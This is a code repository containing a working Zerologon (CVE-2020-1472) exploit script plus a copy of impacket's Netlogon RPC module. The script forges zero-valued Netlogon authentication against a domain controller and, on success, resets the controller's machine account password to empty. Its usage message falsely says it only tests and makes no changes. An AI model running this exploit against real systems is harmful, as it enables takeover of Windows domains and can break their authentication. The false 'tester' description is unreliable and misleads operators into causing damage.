├── CVE-2020-1472.py └── nrpc.py /CVE-2020-1472.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from impacket.dcerpc.v5 import epm 4 | from impacket.dcerpc.v5.dtypes import NULL 5 | from impacket.dcerpc.v5 import transport 6 | from impacket import crypto 7 | import traceback 8 | import hmac, hashlib, struct, sys, socket, time, nrpc 9 | from binascii import hexlify, unhexlify 10 | from subprocess import check_call 11 | 12 | 13 | # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average. 14 | MAX_ATTEMPTS = 2000 # False negative chance: 0.04% 15 | 16 | def fail(msg): 17 | print(msg, file=sys.stderr) 18 | print('This might have been caused by invalid arguments or network issues.', file=sys.stderr) 19 | sys.exit(2) 20 | 21 | def try_zero_authenticate(dc_handle, dc_ip, target_computer): 22 | # Connect to the DC's Netlogon service. 23 | binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') 24 | rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() 25 | rpc_con.connect() 26 | rpc_con.bind(nrpc.MSRPC_UUID_NRPC) 27 | 28 | # Use an all-zero challenge and credential. 29 | plaintext = b'\x00' * 8 30 | ciphertext = b'\x00' * 8 31 | 32 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 33 | flags = 0x212fffff 34 | 35 | # Send challenge and authentication request. 36 | nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) 37 | try: 38 | credential = nrpc.hNetrServerAuthenticate3( 39 | rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, 40 | target_computer + '\x00', ciphertext, flags 41 | ) 42 | # It worked! 43 | assert credential['ErrorCode'] == 0 44 | Authenticator = nrpc.NETLOGON_AUTHENTICATOR() 45 | Authenticator["Credential"] = ciphertext 46 | Authenticator["Timestamp"] = 0 47 | Password = nrpc.NL_TRUST_PASSWORD() 48 | Password['Buffer'] = b'\x00' * 516 49 | Password['Length'] = '\x00' * 4 50 | if rpc_con: 51 | print('\nSuccess! DC can be fully compromised by a Zerologon attack.') 52 | print('Trying to reseting machine password..') 53 | request = nrpc.NetrServerPasswordSet2() 54 | request['PrimaryName'] = target_computer + '\x00' 55 | request['AccountName'] = target_computer + '$\x00' 56 | request['ComputerName'] = target_computer + '\x00' 57 | request['Authenticator'] = Authenticator 58 | request['ClearNewPassword'] = Password 59 | request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel 60 | print("Sending the new password") 61 | req = rpc_con.request(request) 62 | print("Success") 63 | return True 64 | else: 65 | return False 66 | 67 | 68 | except nrpc.DCERPCSessionError as ex: 69 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 70 | if ex.get_error_code() == 0xc0000022: 71 | return None 72 | else: 73 | fail(f'Unexpected error code from DC: {ex.get_error_code()}.') 74 | except Exception as e: 75 | traceback.print_exc() 76 | return True 77 | 78 | 79 | def perform_attack(dc_handle, dc_ip, target_computer): 80 | # Keep authenticating until succesfull. Expected average number of attempts needed: 256. 81 | print('Performing authentication attempts...') 82 | rpc_con = None 83 | for attempt in range(0, MAX_ATTEMPTS): 84 | rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) 85 | 86 | if rpc_con != True: 87 | print('=', end='', flush=True) 88 | else: 89 | break 90 | 91 | 92 | if __name__ == '__main__': 93 | if not (3 <= len(sys.argv) <= 4): 94 | print('Usage: zerologon_tester.py \n') 95 | print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.') 96 | print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.') 97 | sys.exit(1) 98 | else: 99 | [_, dc_name, dc_ip] = sys.argv 100 | 101 | dc_name = dc_name.rstrip('$') 102 | perform_attack('\\\\' + dc_name, dc_ip, dc_name) 103 | 104 | -------------------------------------------------------------------------------- /nrpc.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | # Description: 10 | # [MS-NRPC] Interface implementation 11 | # 12 | # Best way to learn how to use these calls is to grab the protocol standard 13 | # so you understand what the call does, and then read the test case located 14 | # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC 15 | # 16 | # Some calls have helper functions, which makes it even easier to use. 17 | # They are located at the end of this file. 18 | # Helper functions start with "h". 19 | # There are test cases for them too. 20 | # 21 | from struct import pack 22 | from six import b 23 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \ 24 | NDRUniFixedArray, NDRUniConformantVaryingArray 25 | from impacket.dcerpc.v5.dtypes import WSTR, LPWSTR, DWORD, ULONG, USHORT, PGUID, NTSTATUS, NULL, LONG, UCHAR, PRPC_SID, \ 26 | GUID, RPC_UNICODE_STRING, SECURITY_INFORMATION, LPULONG 27 | from impacket import system_errors, nt_errors 28 | from impacket.uuid import uuidtup_to_bin 29 | from impacket.dcerpc.v5.enum import Enum 30 | from impacket.dcerpc.v5.samr import OLD_LARGE_INTEGER 31 | from impacket.dcerpc.v5.lsad import PLSA_FOREST_TRUST_INFORMATION 32 | from impacket.dcerpc.v5.rpcrt import DCERPCException 33 | from impacket.structure import Structure 34 | from impacket import ntlm, crypto, LOG 35 | import hmac 36 | import hashlib 37 | try: 38 | from Cryptodome.Cipher import DES, AES, ARC4 39 | except ImportError: 40 | LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") 41 | LOG.critical("See https://pypi.org/project/pycryptodomex/") 42 | 43 | MSRPC_UUID_NRPC = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB', '1.0')) 44 | 45 | class DCERPCSessionError(DCERPCException): 46 | def __init__(self, error_string=None, error_code=None, packet=None): 47 | DCERPCException.__init__(self, error_string, error_code, packet) 48 | 49 | def __str__( self ): 50 | key = self.error_code 51 | if key in system_errors.ERROR_MESSAGES: 52 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 53 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 54 | return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 55 | elif key in nt_errors.ERROR_MESSAGES: 56 | error_msg_short = nt_errors.ERROR_MESSAGES[key][0] 57 | error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 58 | return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 59 | else: 60 | return 'NRPC SessionError: unknown error code: 0x%x' % (self.error_code) 61 | 62 | ################################################################################ 63 | # CONSTANTS 64 | ################################################################################ 65 | # 2.2.1.2.5 NL_DNS_NAME_INFO 66 | # Type 67 | NlDnsLdapAtSite = 22 68 | NlDnsGcAtSite = 25 69 | NlDnsDsaCname = 28 70 | NlDnsKdcAtSite = 30 71 | NlDnsDcAtSite = 32 72 | NlDnsRfc1510KdcAtSite = 34 73 | NlDnsGenericGcAtSite = 36 74 | 75 | # DnsDomainInfoType 76 | NlDnsDomainName = 1 77 | NlDnsDomainNameAlias = 2 78 | NlDnsForestName = 3 79 | NlDnsForestNameAlias = 4 80 | NlDnsNdncDomainName = 5 81 | NlDnsRecordName = 6 82 | 83 | # 2.2.1.3.15 NL_OSVERSIONINFO_V1 84 | # wSuiteMask 85 | VER_SUITE_BACKOFFICE = 0x00000004 86 | VER_SUITE_BLADE = 0x00000400 87 | VER_SUITE_COMPUTE_SERVER = 0x00004000 88 | VER_SUITE_DATACENTER = 0x00000080 89 | VER_SUITE_ENTERPRISE = 0x00000002 90 | VER_SUITE_EMBEDDEDNT = 0x00000040 91 | VER_SUITE_PERSONAL = 0x00000200 92 | VER_SUITE_SINGLEUSERTS = 0x00000100 93 | VER_SUITE_SMALLBUSINESS = 0x00000001 94 | VER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020 95 | VER_SUITE_STORAGE_SERVER = 0x00002000 96 | VER_SUITE_TERMINAL = 0x00000010 97 | 98 | # wProductType 99 | VER_NT_DOMAIN_CONTROLLER = 0x00000002 100 | VER_NT_SERVER = 0x00000003 101 | VER_NT_WORKSTATION = 0x00000001 102 | 103 | # 2.2.1.4.18 NETLOGON Specific Access Masks 104 | NETLOGON_UAS_LOGON_ACCESS = 0x0001 105 | NETLOGON_UAS_LOGOFF_ACCESS = 0x0002 106 | NETLOGON_CONTROL_ACCESS = 0x0004 107 | NETLOGON_QUERY_ACCESS = 0x0008 108 | NETLOGON_SERVICE_ACCESS = 0x0010 109 | NETLOGON_FTINFO_ACCESS = 0x0020 110 | NETLOGON_WKSTA_RPC_ACCESS = 0x0040 111 | 112 | # 3.5.4.9.1 NetrLogonControl2Ex (Opnum 18) 113 | # FunctionCode 114 | NETLOGON_CONTROL_QUERY = 0x00000001 115 | NETLOGON_CONTROL_REPLICATE = 0x00000002 116 | NETLOGON_CONTROL_SYNCHRONIZE = 0x00000003 117 | NETLOGON_CONTROL_PDC_REPLICATE = 0x00000004 118 | NETLOGON_CONTROL_REDISCOVER = 0x00000005 119 | NETLOGON_CONTROL_TC_QUERY = 0x00000006 120 | NETLOGON_CONTROL_TRANSPORT_NOTIFY = 0x00000007 121 | NETLOGON_CONTROL_FIND_USER = 0x00000008 122 | NETLOGON_CONTROL_CHANGE_PASSWORD = 0x00000009 123 | NETLOGON_CONTROL_TC_VERIFY = 0x0000000A 124 | NETLOGON_CONTROL_FORCE_DNS_REG = 0x0000000B 125 | NETLOGON_CONTROL_QUERY_DNS_REG = 0x0000000C 126 | NETLOGON_CONTROL_BACKUP_CHANGE_LOG = 0x0000FFFC 127 | NETLOGON_CONTROL_TRUNCATE_LOG = 0x0000FFFD 128 | NETLOGON_CONTROL_SET_DBFLAG = 0x0000FFFE 129 | NETLOGON_CONTROL_BREAKPOINT = 0x0000FFFF 130 | 131 | ################################################################################ 132 | # STRUCTURES 133 | ################################################################################ 134 | # 3.5.4.1 RPC Binding Handles for Netlogon Methods 135 | LOGONSRV_HANDLE = WSTR 136 | PLOGONSRV_HANDLE = LPWSTR 137 | 138 | # 2.2.1.1.1 CYPHER_BLOCK 139 | class CYPHER_BLOCK(NDRSTRUCT): 140 | structure = ( 141 | ('Data', '8s=b""'), 142 | ) 143 | def getAlignment(self): 144 | return 1 145 | 146 | NET_API_STATUS = DWORD 147 | 148 | # 2.2.1.1.2 STRING 149 | from impacket.dcerpc.v5.lsad import STRING 150 | 151 | # 2.2.1.1.3 LM_OWF_PASSWORD 152 | class CYPHER_BLOCK_ARRAY(NDRUniFixedArray): 153 | def getDataLen(self, data, offset=0): 154 | return len(CYPHER_BLOCK())*2 155 | 156 | class LM_OWF_PASSWORD(NDRSTRUCT): 157 | structure = ( 158 | ('Data', CYPHER_BLOCK_ARRAY), 159 | ) 160 | 161 | # 2.2.1.1.4 NT_OWF_PASSWORD 162 | NT_OWF_PASSWORD = LM_OWF_PASSWORD 163 | ENCRYPTED_NT_OWF_PASSWORD = NT_OWF_PASSWORD 164 | 165 | # 2.2.1.3.4 NETLOGON_CREDENTIAL 166 | class UCHAR_FIXED_ARRAY(NDRUniFixedArray): 167 | align = 1 168 | def getDataLen(self, data, offset=0): 169 | return len(CYPHER_BLOCK()) 170 | 171 | class NETLOGON_CREDENTIAL(NDRSTRUCT): 172 | structure = ( 173 | ('Data',UCHAR_FIXED_ARRAY), 174 | ) 175 | def getAlignment(self): 176 | return 1 177 | 178 | # 2.2.1.1.5 NETLOGON_AUTHENTICATOR 179 | class NETLOGON_AUTHENTICATOR(NDRSTRUCT): 180 | structure = ( 181 | ('Credential', NETLOGON_CREDENTIAL), 182 | ('Timestamp', DWORD), 183 | ) 184 | 185 | class PNETLOGON_AUTHENTICATOR(NDRPOINTER): 186 | referent = ( 187 | ('Data', NETLOGON_AUTHENTICATOR), 188 | ) 189 | 190 | # 2.2.1.2.1 DOMAIN_CONTROLLER_INFOW 191 | class DOMAIN_CONTROLLER_INFOW(NDRSTRUCT): 192 | structure = ( 193 | ('DomainControllerName', LPWSTR), 194 | ('DomainControllerAddress', LPWSTR), 195 | ('DomainControllerAddressType', ULONG), 196 | ('DomainGuid', GUID), 197 | ('DomainName', LPWSTR), 198 | ('DnsForestName', LPWSTR), 199 | ('Flags', ULONG), 200 | ('DcSiteName', LPWSTR), 201 | ('ClientSiteName', LPWSTR), 202 | ) 203 | 204 | class PDOMAIN_CONTROLLER_INFOW(NDRPOINTER): 205 | referent = ( 206 | ('Data', DOMAIN_CONTROLLER_INFOW), 207 | ) 208 | 209 | # 2.2.1.2.2 NL_SITE_NAME_ARRAY 210 | class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): 211 | item = RPC_UNICODE_STRING 212 | 213 | class PRPC_UNICODE_STRING_ARRAY(NDRPOINTER): 214 | referent = ( 215 | ('Data', RPC_UNICODE_STRING_ARRAY), 216 | ) 217 | 218 | class NL_SITE_NAME_ARRAY(NDRSTRUCT): 219 | structure = ( 220 | ('EntryCount', ULONG), 221 | ('SiteNames', PRPC_UNICODE_STRING_ARRAY), 222 | ) 223 | 224 | class PNL_SITE_NAME_ARRAY(NDRPOINTER): 225 | referent = ( 226 | ('Data', NL_SITE_NAME_ARRAY), 227 | ) 228 | 229 | # 2.2.1.2.3 NL_SITE_NAME_EX_ARRAY 230 | class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): 231 | item = RPC_UNICODE_STRING 232 | 233 | class NL_SITE_NAME_EX_ARRAY(NDRSTRUCT): 234 | structure = ( 235 | ('EntryCount', ULONG), 236 | ('SiteNames', PRPC_UNICODE_STRING_ARRAY), 237 | ('SubnetNames', PRPC_UNICODE_STRING_ARRAY), 238 | ) 239 | 240 | class PNL_SITE_NAME_EX_ARRAY(NDRPOINTER): 241 | referent = ( 242 | ('Data', NL_SITE_NAME_EX_ARRAY), 243 | ) 244 | 245 | # 2.2.1.2.4 NL_SOCKET_ADDRESS 246 | # 2.2.1.2.4.1 IPv4 Address Structure 247 | class IPv4Address(Structure): 248 | structure = ( 249 | ('AddressFamily', '> 32) & 0xffffffff 1675 | sequenceHigh |= 0x80000000 1676 | 1677 | res = pack('>L', sequenceLow) 1678 | res += pack('>L', sequenceHigh) 1679 | return res 1680 | 1681 | def ComputeNetlogonSignatureAES(authSignature, message, confounder, sessionKey): 1682 | # [MS-NRPC] Section 3.3.4.2.1, point 7 1683 | hm = hmac.new(key=sessionKey, digestmod=hashlib.sha256) 1684 | hm.update(authSignature.getData()[:8]) 1685 | # If no confidentiality requested, it should be '' 1686 | hm.update(confounder) 1687 | hm.update(bytes(message)) 1688 | return hm.digest()[:8]+'\x00'*24 1689 | 1690 | def ComputeNetlogonSignatureMD5(authSignature, message, confounder, sessionKey): 1691 | # [MS-NRPC] Section 3.3.4.2.1, point 7 1692 | md5 = hashlib.new('md5') 1693 | md5.update(b'\x00'*4) 1694 | md5.update(authSignature.getData()[:8]) 1695 | # If no confidentiality requested, it should be '' 1696 | md5.update(confounder) 1697 | md5.update(bytes(message)) 1698 | finalMD5 = md5.digest() 1699 | hm = hmac.new(sessionKey, digestmod=hashlib.md5) 1700 | hm.update(finalMD5) 1701 | return hm.digest()[:8] 1702 | 1703 | def encryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey): 1704 | # [MS-NRPC] Section 3.3.4.2.1, point 9 1705 | 1706 | hm = hmac.new(sessionKey, digestmod=hashlib.md5) 1707 | hm.update(b'\x00'*4) 1708 | hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5) 1709 | hm2.update(checkSum) 1710 | encryptionKey = hm2.digest() 1711 | 1712 | cipher = ARC4.new(encryptionKey) 1713 | return cipher.encrypt(sequenceNum) 1714 | 1715 | def decryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey): 1716 | # [MS-NRPC] Section 3.3.4.2.2, point 5 1717 | 1718 | return encryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey) 1719 | 1720 | def encryptSequenceNumberAES(sequenceNum, checkSum, sessionKey): 1721 | # [MS-NRPC] Section 3.3.4.2.1, point 9 1722 | IV = checkSum[:8] + checkSum[:8] 1723 | Cipher = AES.new(sessionKey, AES.MODE_CFB, IV) 1724 | return Cipher.encrypt(sequenceNum) 1725 | 1726 | def decryptSequenceNumberAES(sequenceNum, checkSum, sessionKey): 1727 | # [MS-NRPC] Section 3.3.4.2.1, point 9 1728 | IV = checkSum[:8] + checkSum[:8] 1729 | Cipher = AES.new(sessionKey, AES.MODE_CFB, IV) 1730 | return Cipher.decrypt(sequenceNum) 1731 | 1732 | def SIGN(data, confounder, sequenceNum, key, aes = False): 1733 | if aes is False: 1734 | signature = NL_AUTH_SIGNATURE() 1735 | signature['SignatureAlgorithm'] = NL_SIGNATURE_HMAC_MD5 1736 | if confounder == '': 1737 | signature['SealAlgorithm'] = NL_SEAL_NOT_ENCRYPTED 1738 | else: 1739 | signature['SealAlgorithm'] = NL_SEAL_RC4 1740 | signature['Checksum'] = ComputeNetlogonSignatureMD5(signature, data, confounder, key) 1741 | signature['SequenceNumber'] = encryptSequenceNumberRC4(deriveSequenceNumber(sequenceNum), signature['Checksum'], key) 1742 | return signature 1743 | else: 1744 | signature = NL_AUTH_SIGNATURE() 1745 | signature['SignatureAlgorithm'] = NL_SIGNATURE_HMAC_SHA256 1746 | if confounder == '': 1747 | signature['SealAlgorithm'] = NL_SEAL_NOT_ENCRYPTED 1748 | else: 1749 | signature['SealAlgorithm'] = NL_SEAL_AES128 1750 | signature['Checksum'] = ComputeNetlogonSignatureAES(signature, data, confounder, key) 1751 | signature['SequenceNumber'] = encryptSequenceNumberAES(deriveSequenceNumber(sequenceNum), signature['Checksum'], key) 1752 | return signature 1753 | 1754 | def SEAL(data, confounder, sequenceNum, key, aes = False): 1755 | signature = SIGN(data, confounder, sequenceNum, key, aes) 1756 | sequenceNum = deriveSequenceNumber(sequenceNum) 1757 | 1758 | XorKey = bytearray(key) 1759 | for i in range(len(XorKey)): 1760 | XorKey[i] = XorKey[i] ^ 0xf0 1761 | 1762 | XorKey = bytes(XorKey) 1763 | 1764 | if aes is False: 1765 | hm = hmac.new(XorKey, digestmod=hashlib.md5) 1766 | hm.update(b'\x00'*4) 1767 | hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5) 1768 | hm2.update(sequenceNum) 1769 | encryptionKey = hm2.digest() 1770 | 1771 | cipher = ARC4.new(encryptionKey) 1772 | cfounder = cipher.encrypt(confounder) 1773 | cipher = ARC4.new(encryptionKey) 1774 | encrypted = cipher.encrypt(data) 1775 | 1776 | signature['Confounder'] = cfounder 1777 | 1778 | return encrypted, signature 1779 | else: 1780 | IV = sequenceNum + sequenceNum 1781 | cipher = AES.new(XorKey, AES.MODE_CFB, IV) 1782 | cfounder = cipher.encrypt(confounder) 1783 | encrypted = cipher.encrypt(data) 1784 | 1785 | signature['Confounder'] = cfounder 1786 | 1787 | return encrypted, signature 1788 | 1789 | def UNSEAL(data, auth_data, key, aes = False): 1790 | auth_data = NL_AUTH_SIGNATURE(auth_data) 1791 | XorKey = bytearray(key) 1792 | for i in range(len(XorKey)): 1793 | XorKey[i] = XorKey[i] ^ 0xf0 1794 | 1795 | XorKey = bytes(XorKey) 1796 | 1797 | if aes is False: 1798 | sequenceNum = decryptSequenceNumberRC4(auth_data['SequenceNumber'], auth_data['Checksum'], key) 1799 | hm = hmac.new(XorKey, digestmod=hashlib.md5) 1800 | hm.update(b'\x00'*4) 1801 | hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5) 1802 | hm2.update(sequenceNum) 1803 | encryptionKey = hm2.digest() 1804 | 1805 | cipher = ARC4.new(encryptionKey) 1806 | cfounder = cipher.encrypt(auth_data['Confounder']) 1807 | cipher = ARC4.new(encryptionKey) 1808 | plain = cipher.encrypt(data) 1809 | 1810 | return plain, cfounder 1811 | else: 1812 | sequenceNum = decryptSequenceNumberAES(auth_data['SequenceNumber'], auth_data['Checksum'], key) 1813 | IV = sequenceNum + sequenceNum 1814 | cipher = AES.new(XorKey, AES.MODE_CFB, IV) 1815 | cfounder = cipher.decrypt(auth_data['Confounder']) 1816 | plain = cipher.decrypt(data) 1817 | return plain, cfounder 1818 | 1819 | 1820 | def getSSPType1(workstation='', domain='', signingRequired=False): 1821 | auth = NL_AUTH_MESSAGE() 1822 | auth['Flags'] = 0 1823 | auth['Buffer'] = b'' 1824 | auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_DOMAIN 1825 | if domain != '': 1826 | auth['Buffer'] = auth['Buffer'] + b(domain) + b'\x00' 1827 | else: 1828 | auth['Buffer'] += b'WORKGROUP\x00' 1829 | 1830 | auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST 1831 | 1832 | if workstation != '': 1833 | auth['Buffer'] = auth['Buffer'] + b(workstation) + b'\x00' 1834 | else: 1835 | auth['Buffer'] += b'MYHOST\x00' 1836 | 1837 | auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST_UTF8 1838 | 1839 | if workstation != '': 1840 | auth['Buffer'] += pack('